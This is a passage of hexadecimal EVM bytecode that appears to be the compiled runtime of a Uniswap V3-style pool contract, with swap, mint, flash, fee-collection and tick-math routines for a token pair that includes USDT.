01b031614610f9957610f8c82604001516136a5565b600290810b900b60608301525b50610baf565b836020015160020b816060015160020b1461107a57600080610fed86604001518660400151886020015188602001518a606001518b6080015160086139d1909695949392919063ffffffff16565b604085015160608601516000805461ffff60c81b1916600160c81b61ffff958616021761ffff60b81b1916600160b81b95909416949094029290921762ffffff60a01b1916600160a01b62ffffff60029490940b93909316929092029190911773ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116179055506110ac9050565b60408101516000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169190911790555b8060c001516001600160801b031683602001516001600160801b0316146110f25760c0810151600480546001600160801b0319166001600160801b039092169190911790555b8a1561114257608081015160015560a08101516001600160801b03161561113d5760a0810151600380546001600160801b031981166001600160801b03918216909301169190911790555b611188565b608081015160025560a08101516001600160801b0316156111885760a0810151600380546001600160801b03808216600160801b92839004821690940116029190911790555b8115158b1515146111a157602081015181518b036111ae565b80600001518a0381602001515b90965094508a156112e75760008512156111f0576111f07f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec78d87600003613b86565b60006111fa613cd4565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b5050505061129e613cd4565b6112a88289613e0d565b11156112e1576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b50611411565b600086121561131e5761131e7f00000000000000000000000069af81e73a73b40adf4f3d4223cd9b1ece6230748d88600003613b86565b6000611328613e1d565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156113ac57600080fd5b505af11580156113c0573d6000803e3d6000fd5b505050506113cc613e1d565b6113d68288613e0d565b111561140f576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b505b60408082015160c083015160608085015184518b8152602081018b90526001600160a01b03948516818701526001600160801b039093169183019190915260020b60808201529151908e169133917fc42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca679181900360a00190a350506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b6004546001600160801b031681565b6003546001600160801b0380821691600160801b90041682565b60088161ffff81106114e757600080fd5b015463ffffffff81169150640100000000810460060b90600160581b81046001600160a01b031690600160f81b900460ff1684565b600054600160f01b900460ff16611560576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611575612bf0565b60008054600160d81b900461ffff169061159160088385613eb5565b6000805461ffff808416600160d81b810261ffff60d81b19909316929092179092559192508316146115fe576040805161ffff80851682528316602082015281517fac49e518f90a358f652e4400164f05a5d8f7e35e7747279bc3a93dbf584e125a929181900390910190a15b50506000805460ff60f01b1916600160f01b17905550565b6000546001600160a01b03811690600160a01b810460020b9061ffff600160b81b8204811691600160c81b8104821691600160d81b8204169060ff600160e81b8204811691600160f01b90041687565b600080548190600160f01b900460ff166116ad576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b191690556001600160801b0385166116cd57600080fd5b60008061171b60405180608001604052808c6001600160a01b031681526020018b60020b81526020018a60020b81526020016117118a6001600160801b0316613f58565b600f0b9052613f69565b9250925050819350809250600080600086111561173d5761173a613cd4565b91505b841561174e5761174b613e1d565b90505b336001600160a01b031663d348799787878b8b6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156117d057600080fd5b505af11580156117e4573d6000803e3d6000fd5b50505050600086111561183b576117f9613cd4565b6118038388613e0d565b111561183b576040805162461bcd60e51b815260206004820152600260248201526104d360f41b604482015290519081900360640190fd5b841561188b57611849613e1d565b6118538287613e0d565b111561188b576040805162461bcd60e51b81526020600482015260026024820152614d3160f01b604482015290519081900360640190fd5b8960020b8b60020b8d6001600160a01b03167f7a53080ba414158be7ec69b987b5fb7d07dee101fe85488f0853ae16239d0bde338d8b8b60405180856001600160a01b03168152602001846001600160801b0316815260200183815260200182815260200194505050505060405180910390a450506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b60025481565b600054600160f01b900460ff1661196c576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611981612bf0565b6004546001600160801b0316806119c3576040805162461bcd60e51b81526020600482015260016024820152601360fa1b604482015290519081900360640190fd5b60006119f8867f000000000000000000000000000000000000000000000000000000000000271062ffffff16620f42406141a9565b90506000611a2f867f000000000000000000000000000000000000000000000000000000000000271062ffffff16620f42406141a9565b90506000611a3b613cd4565b90506000611a47613e1d565b90508815611a7a57611a7a7f00000000000000000000000069af81e73a73b40adf4f3d4223cd9b1ece6230748b8b613b86565b8715611aab57611aab7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec78b8a613b86565b336001600160a01b031663e9cbafb085858a8a6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015611b2d57600080fd5b505af1158015611b41573d6000803e3d6000fd5b505050506000611b4f613cd4565b90506000611b5b613e1d565b905081611b688588613e0d565b1115611ba0576040805162461bcd60e51b8152602060048201526002602482015261046360f41b604482015290519081900360640190fd5b80611bab8487613e0d565b1115611be3576040805162461bcd60e51b8152602060048201526002602482015261463160f01b604482015290519081900360640190fd5b8382038382038115611c725760008054600160e81b9004600f16908115611c16578160ff168481611c1057fe5b04611c19565b60005b90506001600160801b03811615611c4c57600380546001600160801b038082168401166001600160801b03199091161790555b611c66818503600160801b8d6001600160801b03166132d9565b60018054909101905550505b8015611cfd5760008054600160e81b900460041c600f16908115611ca2578160ff168381611c9c57fe5b04611ca5565b60005b90506001600160801b03811615611cd757600380546001600160801b03600160801b8083048216850182160291161790555b611cf1818403600160801b8d6001600160801b03166132d9565b60028054909101905550505b8d6001600160a01b0316336001600160a01b03167fbdbdb71d7860376ba52b25a5028beea23581364a40522f6bcfb86bb1f2dca6338f8f86866040518085815260200184815260200183815260200182815260200194505050505060405180910390a350506000805460ff60f01b1916600160f01b179055505050505050505050505050565b600080548190600160f01b900460ff16611dca576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19168155611de460073389896141e3565b60038101549091506001600160801b0390811690861611611e055784611e14565b60038101546001600160801b03165b60038201549093506001600160801b03600160801b909104811690851611611e3c5783611e52565b6003810154600160801b90046001600160801b03165b91506001600160801b03831615611eb7576003810180546001600160801b031981166001600160801b03918216869003821617909155611eb7907f00000000000000000000000069af81e73a73b40adf4f3d4223cd9b1ece623074908a908616613b86565b6001600160801b03821615611f1d576003810180546001600160801b03600160801b808304821686900382160291811691909117909155611f1d907f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7908a908516613b86565b604080516001600160a01b038a1681526001600160801b0380861660208301528416818301529051600288810b92908a900b9133917f70935338e69775456a85ddef226c395fb668b63fa0115f5f20610b388e6ca9c0919081900360600190a4506000805460ff60f01b1916600160f01b17905590969095509350505050565b60076020526000908152604090208054600182015460028301546003909301546001600160801b0392831693919281811691600160801b90041685565b60066020526000908152604090205481565b7f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc81565b600054600160f01b900460ff16612054576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9841691638da5cb5b916004808301926020929190829003018186803b1580156120c157600080fd5b505afa1580156120d5573d6000803e3d6000fd5b505050506040513d60208110156120eb57600080fd5b50516001600160a01b0316331461210157600080fd5b60ff82161580612124575060048260ff16101580156121245750600a8260ff1611155b801561214e575060ff8116158061214e575060048160ff161015801561214e5750600a8160ff1611155b61215757600080fd5b60008054610ff0600484901b16840160ff908116600160e81b9081027fffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841617909355919004167f973d8d92bb299f4af6ce49b52a8adb85ae46b9f214c4c4fc06ac77401237b1336010826040805160ff9390920683168252600f600486901c16602083015286831682820152918516606082015290519081900360800190a150506000805460ff60f01b1916600160f01b17905550565b600080548190600160f01b900460ff16612256576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9841691638da5cb5b916004808301926020929190829003018186803b1580156122c357600080fd5b505afa1580156122d7573d6000803e3d6000fd5b505050506040513d60208110156122ed57600080fd5b50516001600160a01b0316331461230357600080fd5b6003546001600160801b039081169085161161231f578361232c565b6003546001600160801b03165b6003549092506001600160801b03600160801b9091048116908416116123525782612366565b600354600160801b90046001600160801b03165b90506001600160801b038216156123e7576003546001600160801b038381169116141561239557600019909101905b600380546001600160801b031981166001600160801b039182168590038216179091556123e7907f00000000000000000000000069af81e73a73b40adf4f3d4223cd9b1ece6230749087908516613b86565b6001600160801b0381161561246d576003546001600160801b03828116600160801b90920416141561241857600019015b600380546001600160801b03600160801b80830482168590038216029181169190911790915561246d907f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec79087908416613b86565b604080516001600160801b0380851682528316602082015281516001600160a01b0388169233927f596b573906218d3411850b26a6b437d6c4522fdb43d2d2386263f86d50b8b151929081900390910190a36000805460ff60f01b1916600160f01b1790559094909350915050565b6060806124e7612bf0565b61255e6124f2612c27565b858580806020026020016040519081016040528093929190818152602001838360200280828437600092018290525054600454600896959450600160a01b820460020b935061ffff600160b81b8304811693506001600160801b0390911691600160c81b900416614247565b915091509250929050565b600080548190600160f01b900460ff166125b0576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916815560408051608081018252338152600288810b602083015287900b918101919091528190819061260990606081016125fc6001600160801b038a16613f58565b600003600f0b9052613f69565b925092509250816000039450806000039350600085118061262a5750600084115b15612669576003830180546001600160801b038082168089018216600160801b93849004831689019092169092029091176001600160801b0319161790555b604080516001600160801b0388168152602081018790528082018690529051600289810b92908b900b9133917f0c396cd989a39f4459b5fa1aed6a9a8dcdbc45908acfd67e028cd568da98982c919081900360600190a450506000805460ff60f01b1916600160f01b179055509094909350915050565b60008060006126ed612bf0565b6126f785856143a1565b600285810b810b60009081526005602052604080822087840b90930b825281206003830154600681900b9367010000000000000082046001600160a01b0316928492600160d81b810463ffffffff169284929091600160f81b900460ff168061275f57600080fd5b6003820154600681900b985067010000000000000081046001600160a01b03169650600160d81b810463ffffffff169450600160f81b900460ff16806127a457600080fd5b50506040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b810b6020840181905261ffff600160b81b8404811695850195909552600160c81b830485166060850152600160d81b8304909416608084015260ff600160e81b8304811660a0850152600160f01b909204909116151560c08301529093508e810b91900b1215905061284d575093909403965090039350900390506128d0565b8a60020b816020015160020b12156128c1576000612869612c27565b602083015160408401516004546060860151939450600093849361289f936008938893879392916001600160801b031690613389565b9a9003989098039b5050949096039290920396509091030392506128d0915050565b50949093039650039350900390505b9250925092565b7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98481565b7f00000000000000000000000000000000000000000000000000000000000000c881565b7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b7f000000000000000000000000000000000000000000000000000000000000271081565b60015481565b60056020526000908152604090208054600182015460028301546003909301546001600160801b03831693600160801b909304600f0b9290600681900b9067010000000000000081046001600160a01b031690600160d81b810463ffffffff1690600160f81b900460ff1688565b6000546001600160a01b031615612a1e576040805162461bcd60e51b8152602060048201526002602482015261414960f01b604482015290519081900360640190fd5b6000612a29826136a5565b9050600080612a41612a39612c27565b60089061446a565b6040805160e0810182526001600160a01b038816808252600288810b6020808501829052600085870181905261ffff898116606088018190529089166080880181905260a08801839052600160c0909801979097528154600160f01b73ffffffffffffffffffffffffffffffffffffffff19909116871762ffffff60a01b1916600160a01b62ffffff9787900b9790971696909602959095177fffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffff16600160c81b9091021761ffff60d81b1916600160d81b909602959095177fff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1692909217909355835191825281019190915281519395509193507f98636036cb66a9c19a37435efc1e90142190214e8abeb821bdba3f2990dd4c9592918290030190a150505050565b60008082600281900b620d89e71981612b9957fe5b05029050600083600281900b620d89e881612bb057fe5b0502905060008460020b83830360020b81612bc757fe5b0560010190508062ffffff166001600160801b03801681612be457fe5b0493505050505b919050565b306001600160a01b037f000000000000000000000000358e0dec959085f62e4d4602a4d3c66c0e96f07d1614612c2557600080fd5b565b4290565b60008060008460020b8660020b81612c3f57fe5b05905060008660020b128015612c6657508460020b8660020b81612c5f57fe5b0760020b15155b15612c7057600019015b8315612ce557600080612c82836144b6565b600182810b810b600090815260208d9052604090205460ff83169190911b80016000190190811680151597509294509092509085612cc757888360ff16860302612cda565b88612cd1826144c8565b840360ff168603025b965050505050612d63565b600080612cf4836001016144b6565b91509150600060018260ff166001901b031990506000818b60008660010b60010b8152602001908152602001600020541690508060001415955085612d4657888360ff0360ff16866001010102612d5c565b8883612d5183614568565b0360ff168660010101025b9650505050505b5094509492505050565b60008060008360020b12612d84578260020b612d8c565b8260020b6000035b9050620d89e8811115612dca576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b600060018216612dde57600160801b612df0565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615612e24576ffff97272373d413259a46990580e213a0260801c5b6004821615612e43576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615612e62576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615612e81576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615612ea0576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615612ebf576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615612ede576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615612efe576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615612f1e576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615612f3e576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615612f5e576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615612f7e576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615612f9e576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615612fbe576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615612fde576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615612fff576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561301f576e5d6af8dedb81196699c329225ee6040260801c5b6204000082161561303e576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561305b576b048a170391f7dc42444e8fa20260801c5b60008460020b131561307657806000198161307257fe5b0490505b64010000000081061561308a57600161308d565b60005b60ff16602082901c0192505050919050565b60008080806001600160a01b03808916908a1610158187128015906131245760006130d88989620f42400362ffffff16620f42406132d9565b9050826130f1576130ec8c8c8c6001614652565b6130fe565b6130fe8b8d8c60016146cd565b955085811061310f578a965061311e565b61311b8c8b838661478a565b96505b5061316e565b8161313b576131368b8b8b60006146cd565b613148565b6131488a8c8b6000614652565b935083886000031061315c5789955061316e565b61316b8b8a8a600003856147d6565b95505b6001600160a01b038a81169087161482156131d15780801561318d5750815b6131a35761319e878d8c60016146cd565b6131a5565b855b95508080156131b2575081155b6131c8576131c3878d8c6000614652565b6131ca565b845b945061321b565b8080156131db5750815b6131f1576131ec8c888c6001614652565b6131f3565b855b9550808015613200575081155b613216576132118c888c60006146cd565b613218565b845b94505b8115801561322b57508860000385115b15613237578860000394505b81801561325657508a6001600160a01b0316876001600160a01b031614155b15613265578589039350613282565b61327f868962ffffff168a620f42400362ffffff166141a9565b93505b50505095509550955095915050565b6000600160ff1b82106132a357600080fd5b5090565b808203828113156000831215146132bd57600080fd5b92915050565b818101828112156000831215146132bd57600080fd5b600080806000198587098686029250828110908390030390508061330f576000841161330457600080fd5b508290049050613382565b80841161331b57600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150505b9392505050565b60008063ffffffff8716613430576000898661ffff1661ffff81106133aa57fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff16151560608301529092508a161461341c57613419818a8988614822565b90505b806020015181604001519250925050613510565b8688036000806134458c8c858c8c8c8c6148d2565b91509150816000015163ffffffff168363ffffffff161415613477578160200151826040015194509450505050613510565b805163ffffffff8481169116141561349f578060200151816040015194509450505050613510565b8151815160208085015190840151918390039286039163ffffffff80841692908516910360060b816134cd57fe5b05028460200151018263ffffffff168263ffffffff1686604001518660400151036001600160a01b031602816134ff57fe5b048560400151019650965050505050505b97509795505050505050565b600295860b860b60009081526020979097526040909620600181018054909503909455938301805490920390915560038201805463ffffffff600160d81b6001600160a01b036701000000000000008085048216909603169094027fffffffffff0000000000000000000000000000000000000000ffffffffffffff90921691909117600681810b90960390950b66ffffffffffffff1666ffffffffffffff199095169490941782810485169095039093160263ffffffff60d81b1990931692909217905554600160801b9004600f0b90565b60008082600f0b121561365457826001600160801b03168260000384039150816001600160801b03161061364f576040805162461bcd60e51b81526020600482015260026024820152614c5360f01b604482015290519081900360640190fd5b6132bd565b826001600160801b03168284019150816001600160801b031610156132bd576040805162461bcd60e51b81526020600482015260026024820152614c4160f01b604482015290519081900360640190fd5b60006401000276a36001600160a01b038316108015906136e1575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b613716576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106137b757607f810383901c91506137c1565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146139c257886001600160a01b03166139a682612d6d565b6001600160a01b031611156139bb57816139bd565b805b6139c4565b815b9998505050505050505050565b6000806000898961ffff1661ffff81106139e757fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff161515606083015290925089161415613a575788859250925050613510565b8461ffff168461ffff16118015613a7857506001850361ffff168961ffff16145b15613a8557839150613a89565b8491505b8161ffff168960010161ffff1681613a9d57fe5b069250613aac81898989614822565b8a8461ffff1661ffff8110613abd57fe5b825191018054602084015160408501516060909501511515600160f81b027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6001600160a01b03909616600160581b027fff0000000000000000000000000000000000000000ffffffffffffffffffffff60069390930b66ffffffffffffff16640100000000026affffffffffffff000000001963ffffffff90971663ffffffff199095169490941795909516929092171692909217929092161790555097509795505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310613c025780518252601f199092019160209182019101613be3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613c64576040519150601f19603f3d011682016040523d82523d6000602084013e613c69565b606091505b5091509150818015613c97575080511580613c975750808060200190516020811015613c9457600080fd5b50515b613ccd576040805162461bcd60e51b81526020600482015260026024820152612a2360f11b604482015290519081900360640190fd5b5050505050565b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f00000000000000000000000069af81e73a73b40adf4f3d4223cd9b1ece6230741693919290918291908083835b60208310613d6d5780518252601f199092019160209182019101613d4e565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114613dcd576040519150601f19603f3d011682016040523d82523d6000602084013e613dd2565b606091505b5091509150818015613de657506020815110155b613def57600080fd5b808060200190516020811015613e0457600080fd5b50519250505090565b808201828110156132bd57600080fd5b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716939192909182919080838360208310613d6d5780518252601f199092019160209182019101613d4e565b6000808361ffff1611613ef3576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b8261ffff168261ffff1611613f09575081613382565b825b8261ffff168161ffff161015613f4f576001858261ffff1661ffff8110613f2e57fe5b01805463ffffffff191663ffffffff92909216919091179055600101613f0b565b50909392505050565b80600f81900b8114612beb57600080fd5b6000806000613f76612bf0565b613f88846020015185604001516143a1565b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602080840182905261ffff600160b81b8404811685870152600160c81b84048116606080870191909152600160d81b8504909116608086015260ff600160e81b8504811660a0870152600160f01b909404909316151560c08501528851908901519489015192890151939461402c9491939092909190614acf565b93508460600151600f0b6000146141a157846020015160020b816020015160020b12156140815761407a6140638660200151612d6d565b6140708760400151612d6d565b8760600151614c84565b92506141a1565b846040015160020b816020015160020b12156141775760045460408201516001600160801b03909116906140d3906140b7612c27565b60208501516060860151608087015160089493929187916139d1565b6000805461ffff60c81b1916600160c81b61ffff938416021761ffff60b81b1916600160b81b939092169290920217905581516040870151614123919061411990612d6d565b8860600151614c84565b93506141416141358760200151612d6d565b83516060890151614cc8565b92506141518187606001516135ef565b600480546001600160801b0319166001600160801b0392909216919091179055506141a1565b61419e6141878660200151612d6d565b6141948760400151612d6d565b8760600151614cc8565b91505b509193909250565b60006141b68484846132d9565b9050600082806141c257fe5b84860911156133825760001981106141d957600080fd5b6001019392505050565b6040805160609490941b6bffffffffffffffffffffffff1916602080860191909152600293840b60e890811b60348701529290930b90911b60378401528051808403601a018152603a90930181528251928201929092206000908152929052902090565b60608060008361ffff1611614287576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b865167ffffffffffffffff8111801561429f57600080fd5b506040519080825280602002602001820160405280156142c9578160200160208202803683370190505b509150865167ffffffffffffffff811180156142e457600080fd5b5060405190808252806020026020018201604052801561430e578160200160208202803683370190505b50905060005b87518110156143945761433f8a8a8a848151811061432e57fe5b60200260200101518a8a8a8a613389565b84838151811061434b57fe5b6020026020010184848151811061435e57fe5b60200260200101826001600160a01b03166001600160a01b03168152508260060b60060b81525050508080600101915050614314565b5097509795505050505050565b8060020b8260020b126143e1576040805162461bcd60e51b8152602060048201526003602482015262544c5560e81b604482015290519081900360640190fd5b620d89e719600283900b1215614424576040805162461bcd60e51b8152602060048201526003602482015262544c4d60e81b604482015290519081900360640190fd5b620d89e8600282900b1315614466576040805162461bcd60e51b815260206004820152600360248201526254554d60e81b604482015290519081900360640190fd5b5050565b6040805160808101825263ffffffff9283168082526000602083018190529282019290925260016060909101819052835463ffffffff1916909117909116600160f81b17909155908190565b60020b600881901d9161010090910790565b60008082116144d657600080fd5b600160801b82106144e957608091821c91015b68010000000000000000821061450157604091821c91015b640100000000821061451557602091821c91015b62010000821061452757601091821c91015b610100821061453857600891821c91015b6010821061454857600491821c91015b6004821061455857600291821c91015b60028210612beb57600101919050565b600080821161457657600080fd5b5060ff6001600160801b0382161561459157607f1901614599565b608082901c91505b67ffffffffffffffff8216156145b257603f19016145ba565b604082901c91505b63ffffffff8216156145cf57601f19016145d7565b602082901c91505b61ffff8216156145ea57600f19016145f2565b601082901c91505b60ff821615614604576007190161460c565b600882901c91505b600f82161561461e5760031901614626565b600482901c91505b60038216156146385760011901614640565b600282901c91505b6001821615612beb5760001901919050565b6000836001600160a01b0316856001600160a01b03161115614672579293925b8161469f5761469a836001600160801b03168686036001600160a01b0316600160601b6132d9565b6146c2565b6146c2836001600160801b03168686036001600160a01b0316600160601b6141a9565b90505b949350505050565b6000836001600160a01b0316856001600160a01b031611156146ed579293925b7bffffffffffffffffffffffffffffffff000000000000000000000000606084901b166001600160a01b03868603811690871661472957600080fd5b8361475957866001600160a01b031661474c8383896001600160a01b03166132d9565b8161475357fe5b0461477f565b61477f6147708383896001600160a01b03166141a9565b886001600160a01b0316614cf7565b979650505050505050565b600080856001600160a01b0316116147a157600080fd5b6000846001600160801b0316116147b757600080fd5b816147c95761469a8585856001614d02565b6146c28585856001614de3565b600080856001600160a01b0316116147ed57600080fd5b6000846001600160801b03161161480357600080fd5b816148155761469a8585856000614de3565b6146c28585856000614d02565b61482a61564a565b600085600001518503905060405180608001604052808663ffffffff1681526020018263ffffffff168660020b0288602001510160060b81526020016000856001600160801b03161161487e576001614880565b845b6001600160801b031673ffffffff00000000000000000000000000000000608085901b16816148ab57fe5b048860400151016001600160a01b0316815260200160011515815250915050949350505050565b6148da61564a565b6148e261564a565b888561ffff1661ffff81106148f357fe5b60408051608081018252919092015463ffffffff81168083526401000000008204600690810b810b900b6020840152600160581b82046001600160a01b031693830193909352600160f81b900460ff1615156060820152925061495890899089614ed8565b15614990578663ffffffff16826000015163ffffffff16141561497a57613510565b8161498783898988614822565b91509150613510565b888361ffff168660010161ffff16816149a557fe5b0661ffff1661ffff81106149b557fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b90910416151560608201819052909250614a6c57604080516080810182528a5463ffffffff811682526401000000008104600690810b810b900b6020830152600160581b81046001600160a01b031692820192909252600160f81b90910460ff161515606082015291505b614a7b88836000015189614ed8565b614ab2576040805162461bcd60e51b815260206004820152600360248201526213d31160ea1b604482015290519081900360640190fd5b614abf8989898887614f9b565b9150915097509795505050505050565b6000614ade60078787876141e3565b60015460025491925090600080600f87900b15614c24576000614aff612c27565b6000805460045492935090918291614b499160089186918591600160a01b810460020b9161ffff600160b81b83048116926001600160801b0390921691600160c81b900416613389565b9092509050614b8360058d8b8d8b8b87898b60007f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc61513b565b9450614bba60058c8b8d8b8b87898b60017f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc61513b565b93508415614bee57614bee60068d7f00000000000000000000000000000000000000000000000000000000000000c8615325565b8315614c2057614c2060068c7f00000000000000000000000000000000000000000000000000000000000000c8615325565b5050505b600080614c3660058c8c8b8a8a61538b565b9092509050614c47878a8484615437565b600089600f0b1215614c75578315614c6457614c6460058c6155cc565b8215614c7557614c7560058b6155cc565b50505050505095945050505050565b60008082600f0b12614caa57614ca5614ca085858560016146cd565b613291565b6146c5565b614cbd614ca085858560000360006146cd565b600003949350505050565b60008082600f0b12614ce457614ca5614ca08585856001614652565b614cbd614ca08585856000036000614652565b808204910615150190565b60008115614d755760006001600160a01b03841115614d3857614d3384600160601b876001600160801b03166132d9565b614d50565b6001600160801b038516606085901b81614d4e57fe5b045b9050614d6d614d686001600160a01b03881683613e0d565b6155f8565b9150506146c5565b60006001600160a01b03841115614da357614d9e84600160601b876001600160801b03166141a9565b614dba565b614dba606085901b6001600160801b038716614cf7565b905080866001600160a01b031611614dd157600080fd5b6001600160a01b0386160390506146c5565b600082614df15750836146c5565b7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b168215614e91576001600160a01b03861684810290858281614e3157fe5b041415614e6257818101828110614e6057614e5683896001600160a01b0316836141a9565b93505050506146c5565b505b614e8882614e83878a6001600160a01b03168681614e7c57fe5b0490613e0d565b614cf7565b925050506146c5565b6001600160a01b03861684810290858281614ea857fe5b04148015614eb557508082115b614ebe57600080fd5b808203614e56614d68846001600160a01b038b16846141a9565b60008363ffffffff168363ffffffff1611158015614f0257508363ffffffff168263ffffffff1611155b15614f1e578163ffffffff168363ffffffff1611159050613382565b60008463ffffffff168463ffffffff1611614f46578363ffffffff1664010000000001614f4e565b8363ffffffff165b64ffffffffff16905060008563ffffffff168463ffffffff1611614f7f578363ffffffff1664010000000001614f87565b8363ffffffff165b64ffffffffff169091111595945050505050565b614fa361564a565b614fab61564a565b60008361ffff168560010161ffff1681614fc157fe5b0661ffff169050600060018561ffff16830103905060005b506002818301048961ffff87168281614fee57fe5b0661ffff8110614ffa57fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b9091041615156060820181905290955061506557806001019250614fd9565b898661ffff16826001018161507657fe5b0661ffff811061508257fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b909104161515606082015285519094506000906150ed908b908b614ed8565b905080801561510657506151068a8a8760000151614ed8565b15615111575061512e565b8061512157600182039250615128565b8160010193505b50614fd9565b5050509550959350505050565b60028a